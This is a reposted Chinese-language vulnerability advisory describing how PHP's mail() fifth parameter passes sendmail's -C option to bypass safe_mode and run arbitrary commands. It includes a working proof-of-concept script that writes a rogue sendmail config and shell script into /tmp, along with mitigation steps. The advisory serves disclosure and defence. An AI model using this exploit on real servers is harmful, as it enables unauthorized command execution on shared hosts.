| 導購 | 订阅 | 在线投稿
分享
 
 
 

PHP mail函數繞過safe_mode限制執行命令漏洞

來源:互聯網網民  2006-12-16 16:51:02  評論

受影響系統:

PHP PHP 4.2.2

PHP PHP 4.2.1

PHP PHP 4.2.0

PHP PHP 4.1.2

PHP PHP 4.1.1

PHP PHP 4.1.0

PHP PHP 4.1

PHP PHP 4.0.7

PHP PHP 4.0.6

PHP PHP 4.0.5

描述:

--------------------------------------------------------------------------------

PHP是一種流行的WEB服務器端編程語言,它功能強大,簡單易用,在很多Unix操作系統默認都安裝了PHP, 它也可以在Windows系統下運行。

PHP函數mail的第五個參數存在漏洞,遠程攻擊者可能利用此漏洞結構CGI腳本中的漏洞繞過PHP的safe_mode的限制執行系統命令。

從PHP-4.0.5開始,mail函數引入了第五個參數。去年被發現該參數沒有很好過濾shell字符使得可以繞過safe_mode的限制執行系統命令。( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=1593 )該漏洞在PHP-4.0.6被修複。

然而,PHP的mail函數仍然存在漏洞。mail函數的第五個參數可以在發送mail的時候給MTA(php.ini的sendmail_path設定,默認都是sendmail)傳遞額外的選項參數,sendmail的-Cfile選項能夠改變配置文件,利用sendmail的特性,我們可以在配置文件裏指定執行命令,從而使得PHP的mail函數繞過safe_mode的限制來執行任意系統命令。

<*來源:Wojciech Purczynski (cliph@isec.pl)

鏈接:http://marc.theaimsgroup.com/?l=bugtraq&m=103011916928204&w=2

*>

測試方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

Wojciech Purczynski (cliph@isec.pl)提供了如下測試方法:

- -----8<----- bypass_safe_mode.php -----8<-----

<?

$script=tempnam("/tmp", "script");

$cf=tempnam("/tmp", "cf");

$fd = fopen($cf, "w");

fwrite($fd, "OQ/tmp

Sparse=0

R$*" . chr(9) . "$#local $@ $1 $: $1

Mlocal, P=/bin/sh, A=sh $script");

fclose($fd);

$fd = fopen($script, "w");

fwrite($fd, "rm -f $script $cf; ");

fwrite($fd, $cmd);

fclose($fd);

mail("nobody", "", "", "", "-C$cf");

?>

- -----8<----- bypass_safe_mode.php -----8<-----

爲了達到測試效果,在使用sendmail、開啓safe_mode的PHP環境下執行,並且php腳本的屬主要和啓動WEB Server的用戶一致,否則在safe_mode模式下由于腳本的屬主和操作文件的屬主不同而發生沖突。

可以用其它命令替換rm -f $script $cf;或在後面追加多個命令,用分號隔開。

建議:

--------------------------------------------------------------------------------

臨時解決方法:

如果您不能立刻安裝補丁或者升級,NSFOCUS建議您采取以下措施以降低威脅:

* 如果您的主機有其它Web用戶可以建立PHP腳本,請在php.ini裏暫時關閉mail函數:

disable_functions = mail

然後重啓WEB Server。

* 使用PHP的最新CVS代碼重新編譯PHP。

廠商補丁:

PHP

---

目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本:

http://www.php.net

PHP的CVS已經修複了這個漏洞。

 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
受影響系統: PHP PHP 4.2.2 PHP PHP 4.2.1 PHP PHP 4.2.0 PHP PHP 4.1.2 PHP PHP 4.1.1 PHP PHP 4.1.0 PHP PHP 4.1 PHP PHP 4.0.7 PHP PHP 4.0.6 PHP PHP 4.0.5 描述: -------------------------------------------------------------------------------- PHP是一種流行的WEB服務器端編程語言,它功能強大,簡單易用,在很多Unix操作系統默認都安裝了PHP, 它也可以在Windows系統下運行。 PHP函數mail的第五個參數存在漏洞,遠程攻擊者可能利用此漏洞結構CGI腳本中的漏洞繞過PHP的safe_mode的限制執行系統命令。 從PHP-4.0.5開始,mail函數引入了第五個參數。去年被發現該參數沒有很好過濾shell字符使得可以繞過safe_mode的限制執行系統命令。( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=1593 )該漏洞在PHP-4.0.6被修複。 然而,PHP的mail函數仍然存在漏洞。mail函數的第五個參數可以在發送mail的時候給MTA(php.ini的sendmail_path設定,默認都是sendmail)傳遞額外的選項參數,sendmail的-Cfile選項能夠改變配置文件,利用sendmail的特性,我們可以在配置文件裏指定執行命令,從而使得PHP的mail函數繞過safe_mode的限制來執行任意系統命令。 <*來源:Wojciech Purczynski (cliph@isec.pl) 鏈接:http://marc.theaimsgroup.com/?l=bugtraq&m=103011916928204&w=2 *> 測試方法: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負! Wojciech Purczynski (cliph@isec.pl)提供了如下測試方法: - -----8<----- bypass_safe_mode.php -----8<----- <? $script=tempnam("/tmp", "script"); $cf=tempnam("/tmp", "cf"); $fd = fopen($cf, "w"); fwrite($fd, "OQ/tmp Sparse=0 R$*" . chr(9) . "$#local $@ $1 $: $1 Mlocal, P=/bin/sh, A=sh $script"); fclose($fd); $fd = fopen($script, "w"); fwrite($fd, "rm -f $script $cf; "); fwrite($fd, $cmd); fclose($fd); mail("nobody", "", "", "", "-C$cf"); ?> - -----8<----- bypass_safe_mode.php -----8<----- 爲了達到測試效果,在使用sendmail、開啓safe_mode的PHP環境下執行,並且php腳本的屬主要和啓動WEB Server的用戶一致,否則在safe_mode模式下由于腳本的屬主和操作文件的屬主不同而發生沖突。 可以用其它命令替換rm -f $script $cf;或在後面追加多個命令,用分號隔開。 建議: -------------------------------------------------------------------------------- 臨時解決方法: 如果您不能立刻安裝補丁或者升級,NSFOCUS建議您采取以下措施以降低威脅: * 如果您的主機有其它Web用戶可以建立PHP腳本,請在php.ini裏暫時關閉mail函數: disable_functions = mail 然後重啓WEB Server。 * 使用PHP的最新CVS代碼重新編譯PHP。 廠商補丁: PHP --- 目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本: http://www.php.net PHP的CVS已經修複了這個漏洞。
󰈣󰈤
王朝萬家燈火計劃
期待原創作者加盟
 
 
 
>>返回首頁<<
 
 
 
 
 
 熱帖排行
 
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有